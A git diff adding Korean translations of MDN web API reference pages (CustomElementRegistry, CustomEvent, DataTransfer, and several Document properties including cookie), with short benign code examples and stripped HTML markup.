+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Reason for the style sheet to be associated with the documentAppears in document.
+ styleSheets
list
Getting the owner element/rule given the style sheet objectThe interface for the owner objectGetting the CSSStyleSheet object from the owner
{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("HTMLLinkElement")}},
+ {{domxref("HTMLStyleElement")}},
+ or {{domxref("SVGStyleElement")}}
{{domxref("LinkStyle.sheet", ".sheet")}}
CSS {{cssxref("@import")}} rule in other style sheets applied to the documentYes{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}{{domxref("CSSImportRule")}}{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}
<?xml-stylesheet ?> processing instruction in the (non-HTML) documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("ProcessingInstruction")}}{{domxref("LinkStyle.sheet", ".sheet")}}
HTTP Link HeaderYesN/AN/AN/A
User agent (default) style sheetsNoN/AN/AN/A
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}{{Spec2("CSSOM")}} 
{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSStyleSheet")}}

+ +

See also

+ + diff --git a/files/ko/web/api/customelementregistry/index.html b/files/ko/web/api/customelementregistry/index.html new file mode 100644 index 0000000000..4cc311f276 --- /dev/null +++ b/files/ko/web/api/customelementregistry/index.html @@ -0,0 +1,94 @@ +--- +title: CustomElementRegistry +slug: Web/API/CustomElementRegistry +tags: + - API + - CustomElementRegistry + - Experimental + - Interface + - Reference + - Web Components +translation_of: Web/API/CustomElementRegistry +--- +
{{DefaultAPISidebar("Web Components")}}
+ +

CustomElementRegistry 인터페이스는 사용자 지정 요소를 등록하고, 등록한 요소를 가져올 수 있는 메서드를 제공합니다. 인스턴스에 접근하려면 {{domxref("window.customElements")}} 속성을 사용하세요.

+ +

메서드

+ +
+
{{domxref("CustomElementRegistry.define()")}}
+
새로운 사용자 지정 요소를 정의합니다.
+
{{domxref("CustomElementRegistry.get()")}}
+
유명 사용자 지정 요소의 생성자를 반환합니다. 그런 요소가 없는 경우 {{jsxref("undefined")}}를 대신 반환합니다.
+
{{domxref("CustomElementRegistry.upgrade()")}}
+
사용자 지정 요소가 자신의 섀도 루트(shadow root)에 연결되기 전에 직접 업그레이드합니다.
+
{{domxref("CustomElementRegistry.whenDefined()")}}
+
주어진 이름의 사용자 지정 요소가 등록되는 순간 이행하는, 빈 {{jsxref("Promise")}}를 반환합니다. 만약 그런 요소가 이미 등록된 경우 즉시 이행합니다.
+
+ +

예제

+ +

다음 코드는 word-count-web-component 예제에서 가져온 것입니다(라이브로 확인하세요). 사용자 지정 요소 클래스를 생성한 후, {{domxref("CustomElementRegistry.define()")}} 메서드로 등록하는 과정을 살펴보세요.

+ +
// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.CustomElementRegistry")}}

diff --git a/files/ko/web/api/customevent/customevent/index.html b/files/ko/web/api/customevent/customevent/index.html new file mode 100644 index 0000000000..428ca288ac --- /dev/null +++ b/files/ko/web/api/customevent/customevent/index.html @@ -0,0 +1,110 @@ +--- +title: CustomEvent() +slug: Web/API/CustomEvent/CustomEvent +tags: + - API + - CustomEvent + - 레퍼런스 + - 생성자 + - 이벤트 +translation_of: Web/API/CustomEvent/CustomEvent +--- +

{{APIRef("DOM")}}

+ +

CustomEvent() 생성자는 새로운 {{domxref("CustomEvent")}} 를 생성합니다.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
 event = new CustomEvent(typeArg, customEventInit);
+ +

파라미터

+ +
+
typeArg
+
{{domxref("DOMString")}} 은 이벤트의 이름을 나타냅니다.
+
customEventInit {{optional_inline}}
+
CustomEventInit 딕셔너리는 다음 필드를 갖습니다. +
    +
  • "detail": 옵션이며 기본 값은 null 입니다. 모든 타입을 사용할 수 있으며 이벤트에 관련된 이벤트-의존 값입니다.
  • +
+ +
+

CustomEventInit 딕셔너리는 {{domxref("Event.Event", "EventInit")}} 으로부터의 필드도 허용합니다.

+
+
+
+ +

반환 값

+ +

지정한 타입의 새로운 CustomEvent 객체. CustomEventInit 이 제공되었다면 그에 따른 모든 프로퍼티가 구성됩니다.

+ +

예제

+ +
// 적당한 이벤트 리스터 추가
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// 이벤트 생성 및 실행
+var event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);
+ +

더 많은 예제는 이벤트 생성 및 트리거 문서에서 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#dom-customevent-customevent','CustomEvent()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.CustomEvent.CustomEvent")}}

+ +

폴리필

+ +

다음 코드를 사용해 CustomEvent() 생성자의 기능을 인터넷 익스플로러 9 이상에서 폴리필링할 수 있습니다.

+ +
(function () {
+
+  if ( typeof window.CustomEvent === "function" ) return false;
+
+  function CustomEvent ( event, params ) {
+    params = params || { bubbles: false, cancelable: false, detail: undefined };
+    var evt = document.createEvent( 'CustomEvent' );
+    evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
+    return evt;
+   }
+
+  CustomEvent.prototype = window.Event.prototype;
+
+  window.CustomEvent = CustomEvent;
+})();
+ +

Internet Explorer 9 이상은 window 에 CustomEvent 를 추가하지만, 올바른 구현이 아니며, 이는 함수입니다.

+ +

함께 보기

+ + diff --git a/files/ko/web/api/customevent/index.html b/files/ko/web/api/customevent/index.html new file mode 100644 index 0000000000..782f81ba74 --- /dev/null +++ b/files/ko/web/api/customevent/index.html @@ -0,0 +1,96 @@ +--- +title: CustomEvent +slug: Web/API/CustomEvent +tags: + - API + - DOM + - Interface + - NeedsCompatTable + - NeedsExample + - Reference +translation_of: Web/API/CustomEvent +--- +

{{APIRef("DOM")}}CustomEvent 인터페이스는 어플리케이션의 어떤 목적에 의해 초기화된 이벤트를 나타냅니다.

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}
+
CustomEvent 를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("CustomEvent.detail")}} {{readonlyinline}}
+
이벤트 초기화에 전달되는 모든 데이터.
+
+ +

이 인터페이스는 그 부모인 {{domxref("Event")}} 로부터 프로퍼티를 상속받습니다:

+ +

{{Page("/en-US/docs/Web/API/Event", "Properties")}}

+ +

메소드

+ +
+
{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}
+
+

CustomEvent 객체를 초기화합니다. 이벤트가 이미 디스패치되었다면, 이 메소드는 아무것도 하지 않습니다.

+
+
+ +

이 인터페이스는 그 부모인 {{domxref("Event")}} 로부터 메소드를 상속받습니다:

+ +

{{Page("/ko/docs/Web/API/Event", "Methods")}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ +

 

+ + + +

{{Compat("api.CustomEvent")}}

+ +

권한 코드에서 비권한 코드로 실행

+ +

CustomEvent 를 권한 코드(예, 확장 기능)에서 비권한 코드(예, 웹페이지)로 실행할 때, 보안 문제를 고려해야 합니다. Firefox 와 다른 Gecko 어플리케이션은 한 컨텍스트에서 생성된 객체가 다른 곳에서 바로 사용되는 것을 제한하여 보안상의 문제를 자동으로 방지하지만, 이는 여러분의 코드가 예상한대로 실행되는 것을 제한하기도 합니다.

+ +

CustomEvent 객체는 반드시 동일한 에서 생성해야 합니다. CustomEvent 의 detail 속성도 동일하게 제한됩니다. String 과 Array 값은 제한 없이 그 컨텐츠를 읽을 수 있지만, 커스텀 객체는 그렇지 않습니다. 커스텀 객체를 사용할 때, Components.utils.cloneInto() 를 사용해 컨텐츠 스크립트에서 읽을 수 있는 객체의 속성을 정의해야 합니다.

+ +
// doc 은 컨텐츠 다큐먼트의 참조입니다
+function dispatchCustomEvent(doc) {
+  var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+  var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+  doc.dispatchEvent(myEvent);
+}
+ +

함수 노출은 크롬 권한으로 실행하기 위한 컨텐츠 스크립트를 허용하여 보안 취약점에 열려있다는 점을 주의하시기 바랍니다.

+ +

함께 보기

+ + diff --git a/files/ko/web/api/datatransfer/getdata/index.html b/files/ko/web/api/datatransfer/getdata/index.html new file mode 100644 index 0000000000..8a9edcf029 --- /dev/null +++ b/files/ko/web/api/datatransfer/getdata/index.html @@ -0,0 +1,112 @@ +--- +title: DataTransfer.getData() +slug: Web/API/DataTransfer/getData +tags: + - API + - HTML DOM + - Method + - Reference +translation_of: Web/API/DataTransfer/getData +--- +
+

{{APIRef("HTML DOM")}}

+
+ +

DataTransfer.getData() 메소드는 특정 형태를 위해 ({{domxref("DOMString")}}로) 끌어낸 데이터를 회수한다. 가령, 끌어내는 동작이 데이터를 포함하지 않는다면, 이 메소드는 빈 문자열을 반환한다.

+ +

예시 데이터 형식으로는 text/plain 와 text/uri-list 이 있다.

+ +

구문

+ +
dataTransfer.getData(format);
+
+ +

매개변수

+ +
+
format
+
회수할 데이터 형식을 나타내는 {{domxref("DOMString")}}
+
+ +

반환 값

+ +
+
{{domxref("DOMString")}}
+
특정 format을 위해 끌어낸 데이터를 나타내는 {{domxref("DOMString")}}. 만약 끌어내는 동작이 데이터를 가지고 있지 않거나 동작이 특정 format 에 대한 데이터를 가지고 있지 않다면, 이 메소드는 빈 문자열을 반환한다.
+
+ +

예제

+ +

이 예시는 {{domxref("DataTransfer")}} 객체의 {{domxref("DataTransfer.getData()","getData()")}} 와 {{domxref("DataTransfer.setData()","setData()")}} 메소드의 사용을 보여준다.

+ +

HTML 내용

+ +
<div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)">
+    <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span>
+</div>
+<div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
+
+ +

CSS 내용

+ +
#div1, #div2 {
+    width:100px;
+    height:50px;
+    padding:10px;
+    border:1px solid #aaaaaa;
+}
+
+ +

JavaScript 내용

+ +
function allowDrop(allowdropevent) {
+    allowdropevent.target.style.color = 'blue';
+    allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+    dragevent.dataTransfer.setData("text", dragevent.target.id);
+    dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+    dropevent.preventDefault();
+    var data = dropevent.dataTransfer.getData("text");
+    dropevent.target.appendChild(document.getElementById(data));
+    document.getElementById("drag").style.color = 'black';
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 600) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML5.1")}}첫 정의
+ +

브라우저 호환성

+ +

{{Compat("api.DataTransfer.getData")}}

+ +

같이 보기

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/ko/web/api/datatransfer/index.html b/files/ko/web/api/datatransfer/index.html new file mode 100644 index 0000000000..bf4e78de4b --- /dev/null +++ b/files/ko/web/api/datatransfer/index.html @@ -0,0 +1,137 @@ +--- +title: DataTransfer +slug: Web/API/DataTransfer +tags: + - API + - DataTransfer + - HTML Drag and Drop API + - Interface + - Reference + - Web Development + - drag and drop +translation_of: Web/API/DataTransfer +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

The DataTransfer object is used to hold the data that is being dragged during a drag and drop operation. It may hold one or more data items, each of one or more data types. For more information about drag and drop, see HTML Drag and Drop API.

+ +

This object is available from the {{domxref("DragEvent.dataTransfer","dataTransfer")}} property of all {{domxref("DragEvent","drag events")}}.

+ +

Constructor

+ +
+
{{domxref("DataTransfer.DataTransfer","DataTransfer()")}}
+
Creates and returns a new DataTransfer object.
+
+ +

Properties

+ +

Standard properties

+ +
+
{{domxref("DataTransfer.dropEffect")}}
+
Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be nonecopylink or move.
+
{{domxref("DataTransfer.effectAllowed")}}
+
Provides all of the types of operations that are possible. Must be one of none, copy, copyLink, copyMove, link, linkMove, move, all or uninitialized.
+
{{domxref("DataTransfer.files")}}
+
Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.
+
{{domxref("DataTransfer.items")}} {{readonlyInline}}
+
Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.
+
{{domxref("DataTransfer.types")}} {{readonlyInline}}
+
An array of {{domxref("DOMString","strings")}} giving the formats that were set in the {{event("dragstart")}} event.
+
+ +

Gecko properties

+ +

{{SeeCompatTable}}

+ +
Note: All of the properties in this section are Gecko-specific.
+ +
+
{{domxref("DataTransfer.mozCursor")}}
+
Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.
+
{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}
+
Gives the number of items in the drag operation.
+
{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}
+
The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is null for external drags or if the caller can't access the node.
+
{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}
+
This property applies only to the dragend event, and is true if the user canceled the drag operation by pressing escape. It will be false in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.
+
+ +

Methods

+ +

Standard methods

+ +
+
{{domxref("DataTransfer.clearData()")}}
+
Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.
+
{{domxref("DataTransfer.getData()")}}
+
Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.
+
{{domxref("DataTransfer.setData()")}}
+
Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.
+
{{domxref("DataTransfer.setDragImage()")}}
+
Set the image to be used for dragging if a custom one is desired.
+
+ +

Gecko methods

+ +

{{Non-standard_header()}}

+ +
Note: All of the methods in this section are Gecko-specific.
+ +
+
{{domxref("DataTransfer.addElement()")}}
+
Sets the drag source to the given element.
+
{{domxref("DataTransfer.mozClearDataAt()")}}
+
Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.
+
{{domxref("DataTransfer.mozGetDataAt()")}}
+
Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.
+
{{domxref("DataTransfer.mozSetDataAt()")}}
+
A data transfer may store multiple items, each at a given zero-based index. mozSetDataAt() may only be called with an index argument less than mozItemCount in which case an existing item is modified, or equal to mozItemCount in which case a new item is added, and the mozItemCount is incremented by one.
+
{{domxref("DataTransfer.mozTypesAt()")}}
+
Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.
+
+ +

Example

+ +

Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}{{Spec2('HTML WHATWG')}}mozCursor, mozItemCount, mozSourceNode, mozUserCancelled, addElement(), mozClearDataAt(), mozGetDataAt(), mozSetDataAt() and mozTypesAt are Gecko specific.
{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.DataTransfer")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..d2cce901a6 --- /dev/null +++ b/files/ko/web/api/document/adoptnode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM 레퍼런스 + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/adoptNode +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.

+ +

Gecko 1.9 (Firefox 3)부터 지원

+ +

문법

+ +
node = document.adoptNode(externalNode);
+
+ +
+
   node
+
는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 parentNode는 null이다.   
+
externalNode
+
는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.
+
+ +

예제

+ +

{{todo}}

+ +

알아두기

+ +

보통 adoptNode 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

명세

+ + + +

더 보기

+ + diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..9cbfe4a0e1 --- /dev/null +++ b/files/ko/web/api/document/alinkcolor/index.html @@ -0,0 +1,26 @@ +--- +title: document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/alinkColor +--- +

{{ ApiRef() }}

+

Summary

+

{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 mousedownmouseup 이벤트가 발생하는 중간에 활성화(active)됩니다.

+

Syntax

+
color = document.alinkColor
+document.alinkColor =color
+
+

color는 색깔의 이름을 포함하는 문자열 (e.g., "blue", "darkblue", etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., #0000FF).

+

Notes

+

The default value for this property in Mozilla Firefox is red (#ee0000 in hexadecimal).

+

document.alinkColor is deprecated in DOM Level 2 HTML. One alternative is the CSS selector {{ Cssxref(":active") }}.

+

Another alternative is document.body.aLink, although this is deprecated in HTML 4.01 in favor of the CSS alternative.

+

Gecko supports both alinkColor/:active and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support alinkColor/:active only for HTML anchor (<a>) links and the behavior is the same as :focus under Gecko. There is no support for :focus in IE.

+

Specification

+

{{ DOM0() }}

+

MSDN: alinkColor property

+

{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}

diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html new file mode 100644 index 0000000000..e130540cea --- /dev/null +++ b/files/ko/web/api/document/all/index.html @@ -0,0 +1,49 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}
+ +

{{DOMxRef("Document")}} 인터페이스의 read-only all 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only all 요소는 페이지의 모든 contents를 반환 해준다.

+ +

Syntax

+ +
var htmlAllCollection = document.all;
+ +

Value

+ +

{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.all")}}

diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html new file mode 100644 index 0000000000..3a37425ab9 --- /dev/null +++ b/files/ko/web/api/document/anchors/index.html @@ -0,0 +1,31 @@ +--- +title: document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}} {{deprecated_header()}}
+ +

{{domxref("Document")}} 인터페이스의 anchors 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.

+ +

예제

+ +
if ( document.anchors.length >= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http://www.google.com";
+}
+
+ +

알아두기

+ +

이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 name 속성(attribute)으로 생성된 anchors들만 포함하고 id 속성(attribute)으로 생성된 것들은 포함하지 않습니다.

+ +

브라우저 호환성

+ +

{{Compat("api.Document.anchors")}}

diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html new file mode 100644 index 0000000000..25c147849b --- /dev/null +++ b/files/ko/web/api/document/applets/index.html @@ -0,0 +1,30 @@ +--- +title: document.applets +slug: Web/API/Document/applets +tags: + - DOM + - Gecko +translation_of: Web/API/Document/applets +--- +

{{ ApiRef() }}

+ +

요약

+ +

applets document 내의 정렬된 애플릿 목록을 리턴합니다.

+ +

문법

+ +
nodeList = document.applets
+
+ +

예제

+ +
// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 )
+my_java_app = document.applets[1];
+
+ +

명세

+ +

DOM 레벨 2 HTML: applets

+ +

{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}

diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html new file mode 100644 index 0000000000..adc40e872e --- /dev/null +++ b/files/ko/web/api/document/body/index.html @@ -0,0 +1,74 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/body +--- +
{{APIRef("DOM")}}
+ +

Document.body 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 null을 반환합니다.

+ +

구문

+ +
const objRef = document.body
+document.body = objRef
+
+ +

예제

+ +
// HTML: <body id="oldBodyElement"></body>
+alert(document.body.id); // "oldBodyElement"
+
+let aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+ +

참고

+ +

Document.body는 문서의 콘텐츠를 수용하는 요소입니다. <body> 콘텐츠를 가지고 있는 문서는 <body> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <frameset> 요소를 반환합니다.

+ +

body 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <body> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성 

+ +

{{Compat("api.Document.body")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html new file mode 100644 index 0000000000..647c25ab41 --- /dev/null +++ b/files/ko/web/api/document/characterset/index.html @@ -0,0 +1,47 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/characterSet +--- +
{{ ApiRef("DOM") }}
+ +

Document.characterSet 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 문자 인코딩을 반환합니다.

+ +
+

참고: Document.charsetDocument.inputEncoding 속성은 Document.characterSet의 이전 별칭입니다. 더 이상 사용지 마세요.

+
+ +

예제

+ +
<button onclick="console.log(document.characterSet);">
+  콘솔에 인코딩 출력
+</button>
+<!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 -->
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Document.characterSet")}}

diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..8a8a33b2fd --- /dev/null +++ b/files/ko/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +
{{ApiRef("DOM")}}
+ +

Document.compatMode 속성은 문서 렌더링을 호환 모드에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.

+ +

구문

+ +
const mode = document.compatMode
+
+ +

+ +

다음 중 하나.

+ + + +
+

참고: 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.

+
+ +

예제

+ +
if (document.compatMode == "BackCompat") {
+  // in Quirks mode
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.compatMode")}}

diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d5cfd2f0d3 --- /dev/null +++ b/files/ko/web/api/document/cookie/index.html @@ -0,0 +1,243 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

 {{domxref("Document")}} cookie 는 document와 연관된 cookies 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.

+ +

문법

+ +

Read all cookies accessible from this location

+ +
allCookies = document.cookie;
+ +

위 코드에서 allCookies 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 key=value). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.

+ + + + + +

In the code above, newCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method. Consider also that:

+ + + +
Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.
+ +

Examples

+ +

Example #1: Simple usage

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row => row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

Example #3: Do something only once

+ +

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

+ +
function doOnce() {
+  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

